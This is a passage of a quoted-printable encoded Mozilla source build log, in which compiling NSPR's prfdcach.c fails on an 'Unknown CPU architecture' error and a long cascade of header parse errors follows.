-DMOZILLA_CLIENT -Wp,-MD,.deps/pathsub.pp pathsub.c=0A=
gcc -o nsinstall -I/usr/X11R6/include -Wall -W -Wno-unused =
-Wpointer-arith -Wcast-align -pedantic -Wno-long-long -pipe =
-fshort-wchar  -DDEBUG -DDEBUG_root -DTRACING -g nsinstall.o pathsub.o  =
-L../dist/bin -L../dist/lib  -ldl -lm  -lc  =0A=
/usr/bin/perl -I. ./bdate.pl build_number =0A=
../config/nsinstall -R -m 444 nsBuildID.h ../dist/include=0A=
/usr/bin/perl -I../config ../config/build-list.pl =
../dist/include/.headerlist nsBuildID.h=0A=
rm -f ../config/final-link-comps ../config/final-link-libs =
../config/final-link-comp-names=0A=
make[1]: Leaving directory `/usr/local/src/mozilla/config'=0A=
make[1]: Entering directory `/usr/local/src/mozilla/build'=0A=
make[2]: Entering directory `/usr/local/src/mozilla/build/unix'=0A=
chmod 755 mozilla-config=0A=
../../config/nsinstall -R -m 755 mozilla-config ../../dist/bin=0A=
make[2]: Leaving directory `/usr/local/src/mozilla/build/unix'=0A=
make[1]: Leaving directory `/usr/local/src/mozilla/build'=0A=
make[1]: Entering directory `/usr/local/src/mozilla/nsprpub'=0A=
cd config; make export=0A=
make[2]: Entering directory `/usr/local/src/mozilla/nsprpub/config'=0A=
rm -f /usr/local/src/mozilla/dist/bin/nspr-config=0A=
make[2]: Leaving directory `/usr/local/src/mozilla/nsprpub/config'=0A=
cd pr; make export=0A=
make[2]: Entering directory `/usr/local/src/mozilla/nsprpub/pr'=0A=
cd include; make export=0A=
make[3]: Entering directory `/usr/local/src/mozilla/nsprpub/pr/include'=0A=
cd md; make export=0A=
make[4]: Entering directory =
`/usr/local/src/mozilla/nsprpub/pr/include/md'=0A=
../../../config/./nsinstall -R -m 444 ./_linux.cfg =
/usr/local/src/mozilla/dist/include/nspr=0A=
mv -f /usr/local/src/mozilla/dist/include/nspr/_linux.cfg =
/usr/local/src/mozilla/dist/include/nspr/prcpucfg.h=0A=
make[4]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/include/md'=0A=
cd private; make export=0A=
make[4]: Entering directory =
`/usr/local/src/mozilla/nsprpub/pr/include/private'=0A=
../../../config/./nsinstall -R -m 444 ./pprio.h ./pprthred.h ./prpriv.h =
/usr/local/src/mozilla/dist/include/nspr/private=0A=
make[4]: Leaving directory =
`/usr/local/src/mozilla/nsprpub/pr/include/private'=0A=
cd obsolete; make export=0A=
make[4]: Entering directory =
`/usr/local/src/mozilla/nsprpub/pr/include/obsolete'=0A=
../../../config/./nsinstall -R -m 444 ./pralarm.h ./probslet.h =
./protypes.h ./prsem.h /usr/local/src/mozilla/dist/include/nspr/obsolete=0A=
make[4]: Leaving directory =
`/usr/local/src/mozilla/nsprpub/pr/include/obsolete'=0A=
../../config/./nsinstall -R -m 444 ./nspr.h ./pratom.h ./prbit.h =
./prclist.h ./prcmon.h ./prcountr.h ./prcvar.h ./prdtoa.h ./prenv.h =
./prerr.h ./prerror.h ./prinet.h ./prinit.h ./prinrval.h ./prio.h =
./pripcsem.h ./prlink.h ./prlock.h ./prlog.h ./prlong.h ./prmem.h =
./prmon.h ./prmwait.h ./prnetdb.h ./prolock.h ./prpdce.h ./prprf.h =
./prproces.h ./prrng.h ./prrwlock.h ./prshm.h ./prshma.h ./prsystem.h =
./prthread.h ./prtime.h ./prtpool.h ./prtrace.h ./prtypes.h ./prvrsion.h =
./prwin16.h /usr/local/src/mozilla/dist/include/nspr=0A=
make[3]: Leaving directory `/usr/local/src/mozilla/nsprpub/pr/include'=0A=
cd src; make export=0A=
make[3]: Entering directory `/usr/local/src/mozilla/nsprpub/pr/src'=0A=
cd io; make export=0A=
make[4]: Entering directory `/usr/local/src/mozilla/nsprpub/pr/src/io'=0A=
gcc -o prfdcach.o -c     -ansi -Wall -pipe -g -fPIC  -UNDEBUG  =
-DDEBUG=3D1 -DDEBUG_root=3D1 -DXP_UNIX=3D1 -D_POSIX_SOURCE=3D1 =
-D_BSD_SOURCE=3D1 -D_SVID_SOURCE=3D1 -D_LARGEFILE64_SOURCE=3D1 =
-DHAVE_FCNTL_FILE_LOCKING=3D1 -DLINUX=3D1 -Dlinux=3D1 -DHAVE_LCHOWN=3D1 =
-DHAVE_STRERROR=3D1 -D_REENTRANT=3D1  -DFORCE_PR_LOG -D_PR_PTHREADS =
-UHAVE_CVAR_BUILT_ON_SEM -D_NSPR_BUILD_ =
-I/usr/local/src/mozilla/dist/include/nspr -I../../../pr/include =
-I../../../pr/include/private  prfdcach.c=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:55,=0A=
                 from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prcpucfg.h:419:2: #error =
"Unknown CPU architecture"=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:277:2: #error No =
suitable type for PRInt8/PRUint8=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:290:2: #error No =
suitable type for PRInt16/PRUint16=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:310:2: #error No =
suitable type for PRInt32/PRUint32=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:361:2: #error =
'sizeof(int)' not sufficient for platform use=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:384: parse error =
before "PROffset32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:384: warning: type =
defaults to `int' in declaration of `PROffset32'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:384: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:411: parse error =
before "PRBool"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:411: warning: type =
defaults to `int' in declaration of `PRBool'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:411: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:421: parse error =
before "PRPackedBool"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:421: warning: type =
defaults to `int' in declaration of `PRPackedBool'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:421: warning: data =
definition has no type or storage class=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:482,=0A=
                 from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:45: parse =
error before "uintn"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:45: =
warning: type defaults to `int' in declaration of `uintn'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:45: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:47: parse =
error before "intn"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:47: =
warning: type defaults to `int' in declaration of `intn'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:47: =
warning: data definition has no type or storage class=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:482,=0A=
                 from =
/usr/local/src/mozilla/dist/include/nspr/pratom.h:43,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:114: parse =
error before "uint32"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:114: =
warning: type defaults to `int' in declaration of `uint32'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:114: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:125: parse =
error before "uint16"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:125: =
warning: type defaults to `int' in declaration of `uint16'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:125: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:133: parse =
error before "uint8"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:133: =
warning: type defaults to `int' in declaration of `uint8'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:133: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:154: parse =
error before "int32"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:154: =
warning: type defaults to `int' in declaration of `int32'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:154: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:168: parse =
error before "int16"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:168: =
warning: type defaults to `int' in declaration of `int16'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:168: =
warning: data definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:178: parse =
error before "int8"=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:178: =
warning: type defaults to `int' in declaration of `int8'=0A=
/usr/local/src/mozilla/dist/include/nspr/obsolete/protypes.h:178: =
warning: data definition has no type or storage class=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:38,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:57: parse error before =
"PR_AtomicIncrement"=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:57: parse error before =
'*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:57: warning: type =
defaults to `int' in declaration of `PR_AtomicIncrement'=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:57: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:68: parse error before =
"PR_AtomicDecrement"=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:68: parse error before =
'*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:68: warning: type =
defaults to `int' in declaration of `PR_AtomicDecrement'=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:68: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:80: parse error before =
"PR_AtomicSet"=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:80: parse error before =
'*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:80: warning: type =
defaults to `int' in declaration of `PR_AtomicSet'=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:80: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:92: parse error before =
"PR_AtomicAdd"=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:92: parse error before =
'*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:92: warning: type =
defaults to `int' in declaration of `PR_AtomicAdd'=0A=
/usr/local/src/mozilla/dist/include/nspr/pratom.h:92: warning: data =
definition has no type or storage class=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:39,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:56: parse error before =
"PR_CeilingLog2"=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:56: parse error before =
"i"=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:56: warning: type =
defaults to `int' in declaration of `PR_CeilingLog2'=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:56: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:61: parse error before =
"PR_FloorLog2"=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:61: parse error before =
"i"=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:61: warning: type =
defaults to `int' in declaration of `PR_FloorLog2'=0A=
/usr/local/src/mozilla/dist/include/nspr/prbit.h:61: warning: data =
definition has no type or storage class=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prmon.h:39,=0A=
                 from =
/usr/local/src/mozilla/dist/include/nspr/prcmon.h:48,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:41,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:58: parse error =
before "PRIntervalTime"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:58: warning: type =
defaults to `int' in declaration of `PRIntervalTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:58: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:105: parse error =
before "PR_IntervalNow"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:105: warning: type =
defaults to `int' in declaration of `PR_IntervalNow'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:105: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:123: parse error =
before "PR_TicksPerSecond"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:123: warning: type =
defaults to `int' in declaration of `PR_TicksPerSecond'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:123: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:142: parse error =
before "PR_SecondsToInterval"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:142: parse error =
before "seconds"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:142: warning: type =
defaults to `int' in declaration of `PR_SecondsToInterval'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:142: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:143: parse error =
before "PR_MillisecondsToInterval"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:143: parse error =
before "milli"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:143: warning: type =
defaults to `int' in declaration of `PR_MillisecondsToInterval'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:143: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:144: parse error =
before "PR_MicrosecondsToInterval"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:144: parse error =
before "micro"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:144: warning: type =
defaults to `int' in declaration of `PR_MicrosecondsToInterval'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:144: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:163: parse error =
before "PR_IntervalToSeconds"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:163: parse error =
before "ticks"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:163: warning: type =
defaults to `int' in declaration of `PR_IntervalToSeconds'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:163: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:164: parse error =
before "PR_IntervalToMilliseconds"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:164: parse error =
before "ticks"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:164: warning: type =
defaults to `int' in declaration of `PR_IntervalToMilliseconds'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:164: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:165: parse error =
before "PR_IntervalToMicroseconds"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:165: parse error =
before "ticks"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:165: warning: type =
defaults to `int' in declaration of `PR_IntervalToMicroseconds'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinrval.h:165: warning: data =
definition has no type or storage class=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prcmon.h:48,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:41,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prmon.h:92: parse error before =
"PRIntervalTime"=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:41,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prcmon.h:73: parse error before =
"PRIntervalTime"=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:42,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prcvar.h:94: parse error before =
"PRIntervalTime"=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:43,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prdtoa.h:69: parse error before =
"PRIntn"=0A=
/usr/local/src/mozilla/dist/include/nspr/prdtoa.h:82: parse error before =
"PRIntn"=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:45,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:42: parse error =
before "PRErrorCode"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:42: warning: type =
defaults to `int' in declaration of `PRErrorCode'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:42: warning: data =
definition has no type or storage class=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:45,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:54: parse error =
before "errorCode"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:66: parse error =
before "textLength"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:71: parse error =
before "PR_GetError"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:71: warning: type =
defaults to `int' in declaration of `PR_GetError'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:71: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:77: parse error =
before "PR_GetOSError"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:77: warning: type =
defaults to `int' in declaration of `PR_GetOSError'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:77: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:84: parse error =
before "PR_GetErrorTextLength"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:84: warning: type =
defaults to `int' in declaration of `PR_GetErrorTextLength'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:84: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:91: parse error =
before "PR_GetErrorText"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:91: warning: type =
defaults to `int' in declaration of `PR_GetErrorText'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:91: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:174: parse error =
before "PRLanguageCode"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:174: warning: type =
defaults to `int' in declaration of `PRLanguageCode'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:174: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:196: parse error =
before "PRErrorCode"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:196: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:198: parse error =
before '}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:226: parse error =
before "code"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:259: parse error =
before "code"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:273: parse error =
before "code"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:300: parse error =
before "PR_ErrorInstallTable"=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:300: warning: type =
defaults to `int' in declaration of `PR_ErrorInstallTable'=0A=
/usr/local/src/mozilla/dist/include/nspr/prerror.h:300: warning: data =
definition has no type or storage class=0A=
In file included from =
/usr/local/src/mozilla/dist/include/nspr/prinit.h:38,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:47,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prthread.h:140: parse error =
before "PRUint32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prthread.h:201: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prthread.h:214: parse error =
before "tpdIndex"=0A=
/usr/local/src/mozilla/dist/include/nspr/prthread.h:225: parse error =
before "tpdIndex"=0A=
/usr/local/src/mozilla/dist/include/nspr/prthread.h:262: parse error =
before "ticks"=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/nspr.h:47,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:85: parse error before =
'*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:85: warning: type =
defaults to `int' in declaration of `PRBool'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:85: `PRBool' declared =
as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:85: `PRBool' =
redeclared as different kind of symbol=0A=
/usr/local/src/mozilla/dist/include/nspr/prtypes.h:411: previous =
declaration of `PRBool'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:95: `PR_VersionCheck' =
declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:109: parse error =
before "PRUintn"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:129: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:129: parse error =
before "argc"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:129: warning: type =
defaults to `int' in declaration of `PRIntn'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:129: `PRIntn' declared =
as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:132: parse error =
before "prmain"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:132: `PR_Initialize' =
declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:137: `PR_Initialized' =
declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:184: parse error =
before "numCPUs"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:216: field =
`initialized' declared as a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:217: parse error =
before "PRInt32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:217: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:219: parse error =
before '}' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:219: warning: type =
defaults to `int' in declaration of `PRCallOnceType'=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:219: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prinit.h:224: parse error =
before '*' token=0A=
In file included from /usr/local/src/mozilla/dist/include/nspr/prio.h:46,=0A=
                 from /usr/local/src/mozilla/dist/include/nspr/nspr.h:49,=0A=
                 from ../../../pr/include/private/primpl.h:66,=0A=
                 from prfdcach.c:35:=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:85: parse error before =
"PRInt32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:85: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:86: warning: type =
defaults to `int' in declaration of `tp_dst_offset'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:86: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:87: warning: type =
defaults to `int' in declaration of `PRTimeParameters'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:87: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:113: parse error =
before "PRInt32"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:113: warning: no =
semicolon at end of struct or union=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:114: warning: type =
defaults to `int' in declaration of `tm_sec'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:114: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:116: parse error =
before "tm_min"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:116: warning: type =
defaults to `int' in declaration of `tm_min'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:116: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:117: parse error =
before "tm_hour"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:117: warning: type =
defaults to `int' in declaration of `tm_hour'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:117: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:118: parse error =
before "tm_mday"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:118: warning: type =
defaults to `int' in declaration of `tm_mday'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:118: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:120: parse error =
before "tm_month"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:120: warning: type =
defaults to `int' in declaration of `tm_month'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:120: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:121: parse error =
before "tm_year"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:121: warning: type =
defaults to `int' in declaration of `tm_year'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:121: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:124: parse error =
before "tm_wday"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:124: warning: type =
defaults to `int' in declaration of `tm_wday'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:124: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:126: parse error =
before "tm_yday"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:126: warning: type =
defaults to `int' in declaration of `tm_yday'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:126: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:129: parse error =
before "tm_params"=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:129: warning: type =
defaults to `int' in declaration of `tm_params'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:129: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:130: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:130: warning: data =
definition has no type or storage class=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: warning: type =
defaults to `int' in declaration of `PRExplodedTime'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: parse error =
before '*' token=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: warning: type =
defaults to `int' in declaration of `PRTimeParameters'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: =
`PRTimeParameters' declared as function returning a function=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:155: =
`PRTimeParameters' redeclared as different kind of symbol=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:87: previous =
declaration of `PRTimeParameters'=0A=
/usr/local/src/mozilla/dist/include/nspr/prtime.h:192: parse error =
before "PRTimeParamFn"=0A=
